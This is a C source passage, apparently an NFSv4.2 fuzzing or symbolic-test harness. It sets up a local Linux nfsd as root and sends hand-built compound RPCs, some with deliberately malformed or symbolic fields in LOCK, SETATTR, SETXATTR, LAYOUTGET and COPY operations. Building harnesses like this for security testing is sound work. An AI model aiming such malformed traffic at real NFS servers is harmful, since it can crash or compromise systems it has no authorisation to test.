  put32(0); // attrlist4, total length of fattrs
}

void
send_mkdir(char *name, int dosym)
{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_mkdir(name, dosym);
  put_getfh();
  send_send();
  parse_reply(1);
}

void
put_putfh(struct fh fhx, int dosym)
{
  put32(22);

  char tmp[512];
  memcpy(tmp, fhx.fh, fhx.len);
  if(dosym){
    for(int i = 0; i < fhx.len; i += 8)
      *(long*)(tmp+i) ^= symx();
  }
  
  put_opaque(fhx.len, tmp);
}

void
send_setattr(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_setattr(dosym);
  send_send();
  parse_reply(1);
}

void
put_junk_setattr()
{
  put32(34);
  put32(sid.seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
  put32(3);
  put32(symx());
  put32(symx());
  put32(symx());
  put32(symx() & 127);
  if(symstart == -1)
    symstart = oi;
  for(int i = 0; i < 128/4; i++)
    put32(0xffffffff);
}

void
send_junk_setattr()
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_junk_setattr();
  send_send();
  parse_reply(1);
}

void
put_set_acl(int dosym)
{
  put32(34);
  put32(sid.seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
  int words[3];
  words[0] = words[1] = words[2] = 0;
  words[0] |= (1 << 12); // acl
  if(dosym && symstart == -1)
    symstart = oi + 4*4; // skip over FATTR4 bitmap
  put_fattr4(words, 1);
}

void
put_getattr()
{
  put32(9);
  put32(3);
  put32(1 << 12);
  put32(0);
  put32(0);
}

void
send_set_acl(char *name, int dosym)
{
  put_compound(6);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_lookup(name);
  put_set_acl(dosym);
  put_getattr();
  send_send();
  parse_reply(1);
}

void
send_putfh(struct fh fhx)
{
  put_compound(2);
  put_sequence();
  put_putfh(fhx, 0);
  send_send();
  parse_reply(1);
}

void
send_lookup()
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_getfh();
  send_send();
  parse_reply(1);
}

void
send_readdir(int dosym)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_readdir(dosym);
  send_send();
  parse_reply(1);
}

void
put_root_listxattrs()
{
  put32(74);
  put64(0); // cookie
  put32(16384); // maxcount
}

void
send_root_listxattrs()
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_root_listxattrs();
  send_send();
  parse_reply(1);
}

void
put_unlock(int dosym)
{
  put32(14);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(1); // READ_LT
  put32(0); // open_seqid
  put32(sid.seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
  put64(0); // offset
  put64(1); // length
}

void
send_unlock_lockfile(int dosym)
{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_lookup("lockfile");
  put_unlock(dosym);
  send_send();
  parse_reply(1);
}

void
put_lock(int dosym)
{
  put32(12);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(1); // READ_LT
  put32(0); // reclaim
  put64(0); // offset
  put64(2); // length
  put32(1); // new_lock_owner
  put32(0); // open_seqid
  put32(sid.seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
  put32(0); // lock_seqid
  put64(clientid); // clientid
  put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
}

void
send_lock_lockfile(int dosym)
{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_lookup("lockfile");
  put_lock(dosym);
  send_send();
  parse_reply(1);
}

void
send_lock(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_lock(dosym);
  send_send();
  parse_reply(1);
}

void
put_dir_delegation(int dosym)
{
  put32(46);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(0); // signal_deleg_avail
  put32(3); // notification_types bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
  put64(0); // child_attr_delay
  put32(0); // child_attr_delay
  put64(0); // dir_attr_delay
  put32(0); // dir_attr_delay
  put32(3); // child_attributes bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
  put32(3); // dir_attributes bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
}

void
send_dir_delegation(int dosym)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_dir_delegation(dosym);
  send_send();
  parse_reply(1);
}

void
put_verify(int dosym)
{
  put32(37);
  put32(3);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(0);
  put32(0);
  put32(0);
  put32(256);
  for(int i = 0; i < 256/4; i++)
    put32(0xffffffff);
}

void
send_verify(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_verify(dosym);
  send_send();
  parse_reply(1);
}

void
put_setxattr(int dosym)
{
  put32(73);
  if(dosym == 2){
    put32(0); // SETXATTR4_EITHER
    unsigned int klen = symx() & 0xfff;
    unsigned int vlen = symx() & 0xfff;
    for(int i = oi; i+8 <= sizeof(obuf); i += 8)
      *(unsigned long long *)(obuf + i) = 0x4444444444444444ll ^ symx();
    if(klen < 1) klen = 1;
    put32(klen);
    oi += klen;
    while((oi % 4) != 0) oi++;
    put32(vlen);
    oi += vlen;
    while((oi % 4) != 0) oi++;
  } else if(dosym == 3) {
    put32(0); // SETXATTR4_EITHER
    put32(24); // klen
    for(int i = 0; i < 3; i++){
      *(long long *)(obuf + oi) = 0x4444444444444444ll ^ symx();
      oi += 8;
    }
    put32(24); // vlen
    for(int i = 0; i < 3; i++){
      *(long long *)(obuf + oi) = 0x4444444444444444ll ^ symx();
      oi += 8;
    }
  } else {
    if(dosym && symstart == -1)
      symstart = oi;
    put32(0); // SETXATTR4_EITHER
    put_opaque(24, "12345678abcdefgh12345678"); // key
    put_opaque(16, "abcdefgh12345678"); // value
  }
}

void
send_setxattr(int dosym)
{
  put_compound(4);
  put_sequence();
  put_putfh(fh, 0);
  put_setxattr(dosym);
  send_send();
  parse_reply(1);
}

void
put_remove(char *name)
{
  put32(28);
  put_opaque(strlen(name), name);
}

void
send_remove(char *name)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_remove(name);
  send_send();
  parse_reply(1);
}

void
put_junk(int op, int words)
{
  put32(op);
  if(symstart != -1)
    symstart = oi;
  for(int i = 0; i < words; i++)
    put32(0);
}

void
send_root_junk(int op, int words)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_junk(op, words);
  send_send();
  parse_reply(1);
}

void
put_layoutget(int dosym)
{
  put32(50);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(1); // signal_layout_avail
  put32(4); // layout_type, FLEXFILE
  put32(2); // iomode, 1=READ, 2=RW, 3=ANY
  put64(0); // offset
  put64(8); // length
  put64(8); // minlength
  put32(sid.seqid); // stateid seq
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
  put32(4096); // maxcount
}

void
send_layoutget_xxx(int dosym)
{
  sys("echo 1234567890123456 > /tmp/out");
  sys("chown nobody /tmp/out");
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_open_existing("out", 3);
  put_layoutget(dosym);
  send_send();
  parse_reply(1);
}

void
send_layoutget(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_layoutget(dosym);
  send_send();
  parse_reply(1);
}

void
put_layoutcommit(int dosym)
{
  put32(49);
  if(dosym && symstart == -1)
    symstart = oi;
  put64(0); // offset4 loca_offset
  put64(1); // length4 loca_length
  put32(1); // bool loca_reclaim
  put32(sid.seqid); // stateid seq
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
  put32(1); // newoffset4
  put64(0); // offset4 no_offset
  put32(1); // bool nt_timechanged
  put64(0); // nfstime4
  put32(0);
  // layoutupdate4
  put32(4); // layouttype4 4=LAYOUT_FLEX_FILES
  put_opaque(4, "xyzz"); // lou_body
}

void
send_layoutcommit(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_layoutcommit(dosym);
  send_send();
  parse_reply(1);
}

void
put_layoutreturn(int dosym)
{
  put32(51);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(1); // reclaim
  put32(4); // layout_type, FLEXFILE
  put32(3); // iomode, ANY
  put32(1); // returntype, FILE
  put64(0); // offset
  put64(8); // length
  put32(1); // stateid seq -- special current stateid
  for(int i = 0; i < 12; i++)
    obuf[oi++] = 0;
  put_opaque_repeat(64, 'x'); // lrf_body<>
}

void
send_layoutreturn(int dosym)
{
  sys("echo 1234567890123456 > /tmp/out");
  sys("chown nobody /tmp/out");
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_open_existing("out", 3);
  put_layoutreturn(dosym);
  send_send();
  parse_reply(1);
}

void
put_secinfo_no_name(int dosym)
{
  put32(52);
  put32(1); // 0=CURRENT_FH, 1=PARENT
}

void
send_secinfo_no_name(int dosym)
{
  sys("echo 1234567890123456 > /tmp/out");
  sys("chown nobody /tmp/out");
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_open_existing("out", 3);
  put_secinfo_no_name(dosym);
  send_send();
  parse_reply(1);
}

void
xxx_put_get_dir_delegation(int dosym)
{
  put32(46);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(1); // signal_delet_avail
  put32(3); // notification_types bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
  put64(0); // child_attr_delay
  put64(0);
  put64(0); // dir_attr_delay
  put64(0);
  put32(3); // child_attributes bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
  put32(3); // dir_attributes bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
}

void
xxx_send_get_dir_delegation(int dosym)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  xxx_put_get_dir_delegation(dosym);
  send_send();
  parse_reply(1);
}

void
send_root_blah()
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  symstart = oi;
  for(int i = 0; i < 32; i++)
    put32(0xffffffff);
  send_send();
  parse_reply(1);
}

void
send_cur_blah()
{
  put_compound(4);
  put_sequence();
  put_putfh(fh, 0);
  put_savefh();
  symstart = oi;
  for(int i = 0; i < 32; i++)
    put32(0xffffffff);
  send_send();
  parse_reply(1);
}

void
put_read(int dosym)
{
  put32(25);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(sid.seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
  put64(0); // offset
  put32(512); // count
}

void
send_read(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_read(dosym);
  send_send();
  parse_reply(1);
}

void
put_write(int dosym)
{
  put32(38);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(sid.seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
  put64(0); // offset
  put32(0); // stable_how
  put_opaque(6, "hello\n"); // data
}

void
send_write(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_write(dosym);
  send_send();
  parse_reply(1);
}

void
put_deallocate(int dosym)
{
  put32(62);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(sid.seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
  put64(0); // offset4
  put64(1); // length4
}

void
send_deallocate(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_deallocate(dosym);
  send_send();
  parse_reply(1);
}

// assumes that server's saved_fh is already
// source file, and current_fh is already destination file.
void
put_copy(struct stateid src, struct stateid dst, int inter, int dosym)
{
  put32(60);
  if(dosym && symstart == -1)
    symstart = oi;

  // src_stateid
  put32(src.seqid); // from previous send_open_existing()
  for(int i = 0; i < 12; i++)
    obuf[oi++] = src.other[i];

  // dst_stateid
  put32(dst.seqid);
  for(int i = 0; i < 12; i++)
    obuf[oi++] = dst.other[i];

  put64(0); // src_offset
  put64(0); // dst_offset
  put64(4); // count
  put32(1); // consecutive
  put32(0); // synchronous

  // netloc4 ca_source_server<>
  if(inter){
    put32(1);
    put32(3); // NL4_NETADDR
    // netaddr4
    put_opaque(3, "tcp"); // netid
    put_opaque(12, "127.0.0.1.8.1"); // addr
  } else {
    put32(0);
  }
}

void
send_copy(struct fh src_fh, struct stateid src_sid,
          struct fh dst_fh,  struct stateid dst_sid,
          int inter,
          int dosym)
{
  put_compound(5);
  put_sequence();
  put_putfh(src_fh, 0);
  put_savefh();
  put_putfh(dst_fh, 0);
  put_copy(src_sid, dst_sid, inter, dosym);
  send_send();
  parse_reply(1);
}

void
put_offload_cancel(int dosym)
{
  put32(66);
  if(dosym && symstart == -1)
    symstart = oi;
  // stateid
  put32(sid.seqid);
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
}

void
send_offload_cancel(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, dosym);
  put_offload_cancel(dosym);
  send_send();
  parse_reply(1);
}

void
put_offload_status(int dosym)
{
  put32(67);
  if(dosym && symstart == -1)
    symstart = oi;
  // stateid
  put32(sid.seqid);
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
}

void
send_offload_status(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_offload_status(dosym);
  send_send();
  parse_reply(1);
}

// assumes that server's saved_fh is already
// source file, and current_fh is already destination file.
void
put_clone(struct stateid src, struct stateid dst, int dosym)
{
  put32(71);
  if(dosym && symstart == -1)
    symstart = oi;

  // src_stateid
  put32(src.seqid); // from previous send_open_existing()
  for(int i = 0; i < 12; i++)
    obuf[oi++] = src.other[i];

  // dst_stateid
  put32(dst.seqid);
  for(int i = 0; i < 12; i++)
    obuf[oi++] = dst.other[i];

  put64(0); // src_offset
  put64(0); // dst_offset
  put64(4); // count
}

void
send_clone(struct fh src_fh, struct stateid src_sid,
          struct fh dst_fh,  struct stateid dst_sid,
          int dosym)
{
  put_compound(5);
  put_sequence();
  put_putfh(src_fh, 0);
  put_savefh();
  put_putfh(dst_fh, 0);
  put_clone(src_sid, dst_sid, dosym);
  send_send();
  parse_reply(1);
}

void
put_copy_notify(int dosym)
{
  put32(61);
  if(dosym && symstart == -1)
    symstart = oi;

  // src_stateid
  put32(sid.seqid);
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];

  // netloc4 destination_server
  put32(3); // NL4_NETADDR
  put_opaque(3, "tcp");
  put_opaque(12, "127.0.0.1.8.1"); // addr
}

void
send_copy_notify(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_copy_notify(dosym);
  send_send();
  parse_reply(1);
}

void
put_get_dir_delegation(int dosym)
{
  put32(46);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(1); // gdda_signal_deleg_avail
  put32(1); // length of gdda_notification_types bitmap4
  put32(0);
  put64(0); // nfstime4 gdda_child_attr_delay
  put32(0); // nfstime4
  put64(0); // nfstime4 gdda_dir_attr_delay
  put32(0); // nfstime4
  put32(3); // gdda_child_attributes bitmap4
  put32(0);
  put32(0);
  put32(0);
  put32(3); // gdda_dir_attributes bitmap4
  put32(0);
  put32(0);
  put32(0);
}

void
send_get_dir_delegation(int dosym)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_get_dir_delegation(dosym);
  send_send();
  parse_reply(1);
}

void
put_destroy_clientid(int dosym)
{
  put32(57);
  if(dosym && symstart == -1)
    symstart = oi;
  // stateid
  put32(sid.seqid);
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
}

void
send_destroy_clientid(int dosym)
{
  put_compound(2);
  put_sequence();
  put_destroy_clientid(dosym);
  send_send();
  parse_reply(1);
}

void
put_test_stateid(int dosym)
{
  put32(55);
  put32(1); // count
  if(dosym && symstart == -1)
    symstart = oi;
  // stateid
  put32(sid.seqid);
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
}

void
send_test_stateid(int dosym)
{
  put_compound(2);
  put_sequence();
  put_test_stateid(dosym);
  send_send();
  parse_reply(1);
}

void
put_seek(int dosym)
{
  put32(69);
  if(dosym && symstart == -1)
    symstart = oi;
  // stateid4
  put32(sid.seqid);
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
  put64(1); // sa_offset
  put32(0); // NFS4_CONTENT_DATA
}

void
send_seek(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_seek(dosym);
  send_send();
  parse_reply(1);
}

void
put_listxattrs(int dosym)
{
  put32(74);
  if(dosym && symstart == -1)
    symstart = oi;
  put64(0); // nfs_cookie4
  put32(4096); // count4
} 

void
send_listxattrs(int dosym)
{
  put_compound(3);
  put_sequence();
  put_putfh(fh, 0);
  put_listxattrs(dosym);
  send_send();
  parse_reply(1);
}

int
main()
{
  // /etc/exports
  // /tmp 127.0.0.1(rw,subtree_check,pnfs)

  sys("/usr/sbin/rpcbind -f -w &");
  sleep(1);
  sys("mount -t rpc_pipefs rpc_pipefs /var/lib/nfs/rpc_pipefs");
  sys("mount -t nfsd nfsd /proc/fs/nfsd");
  sleep(2);
  sys("/usr/sbin/rpc.nfsd --lease-time 10 --grace-time 10 1");
  sleep(2);
  sys("/usr/sbin/rpc.mountd --manage-gids");
  sleep(2);
  sys("/usr/sbin/rpc.idmapd -p /var/lib/nfs/rpc_pipefs");
  sys("exportfs -au");
  sys("exportfs -f");
  sys("exportfs -r");
  sys("exportfs -v");

  sys("echo Y > /sys/module/nfsd/parameters/inter_copy_offload_enable");

  s = socket(AF_INET, SOCK_STREAM, 0);
  int yes = 1;
  if(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0)
    perror("SO_REUSEADDR");
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr("127.0.0.1");
  for(int i = 100; i < 1024; i++){
    sin.sin_port = htons(i);
    if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) == 0){
      break;
    }
  }
  sin.sin_port = htons(2049);

  sync();
  sleep(11); // grace period

  if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
    perror("connect");
    exit(1);
  }

  int pid = fork();
  if(pid == 0){
    send_nop();
    
    // send_exchange_id_sym();
    send_exchange_id(0);
    
    send_create_session(0);

    send_reclaim_complete();
    
    // server may miss the first time, yielding 10008 NFS4ERR_DELAY.
    // so trigger the upcall to rpc.mountd and wait a bit.
    send_lookup();
    sleep(2);

    {

      unlink("/tmp/xx1"); 
      unlink("/tmp/xx2"); 
      unlink("/tmp/xx3"); 
      unlink("/tmp/xx4"); 
      sys("rm -rf /tmp/dxxx1");
      
      send_open_create("xx1", 0);
      send_write(0);
      send_deallocate(0);
      send_junk_setattr();

      send_open_create("xx2", 0);
      send_lock(0);

      send_open_create("xx3", 0);
      send_layoutget(0);
      send_layoutcommit(0);
      exit(1);
    }
  }
  close(s);

  for(int i = 0; i < 60; i++){
    sleep(1);
    int st;
    int ret = waitpid(pid, &st, WNOHANG);
    if(ret == pid)
      break;
  }
  kill(pid, 9);
  sleep(1);
}